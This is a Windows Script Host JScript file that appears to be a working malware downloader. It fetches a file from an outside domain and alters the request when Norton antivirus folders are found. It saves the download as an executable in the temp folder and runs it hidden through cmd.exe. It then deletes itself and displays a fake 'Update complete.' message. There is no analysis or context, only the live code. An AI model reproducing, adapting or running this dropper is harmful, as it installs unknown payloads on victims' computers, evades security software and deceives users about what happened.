try {
    a = new ActiveXObject("Wscript.Shell");
    b = new ActiveXObject("Scripting.FileSystemObject");
    c = new ActiveXObject("MSXML2.XMLHTTP");
    d = new ActiveXObject("ADODB.Stream");
    url = "https://uabeeprozdravi.net/10/519.dat";
    var fso = new ActiveXObject("Scripting.FileSystemObject");
    var wssh = new ActiveXObject("WScript.Shell");
    var pr_dir = wssh.ExpandEnvironmentStrings("%PROGRAMFILES(x86)%");
    var all_dir = wssh.ExpandEnvironmentStrings("%ALLUSERSPROFILE%");
    if ((fso.FolderExists(pr_dir + String.fromCharCode(92) + "NortonInstaller") == true) || (fso.FolderExists(all_dir + String.fromCharCode(92) + "Norton") == true)) url = url + "s";
    fname = b.GetSpecialFolder(2) + String.fromCharCode(92) + new Date().getTime() + ".exe";
    for (var i = 1; i <= 5; i++) {
        try {
            c.open("GET", url, false);
            c.send(null);
            break;
        } catch (e) {
            WScript.Sleep(5000);
        }
    }
    d.Open;
    d.Type = 1;
    d.Write(c.ResponseBody);
    d.Position = 0;
    if (b.Fileexists(fname)) b.DeleteFile(fname);
    d.SaveToFile(fname);
    a.run("cmd.exe /c " + String.fromCharCode(34) + fname + String.fromCharCode(34), 0, false);
    var p = WScript.ScriptFullName;
    if (b.FileExists(p)) b.DeleteFile(p);
    WScript.Echo("Update complete.");
} catch (e) {}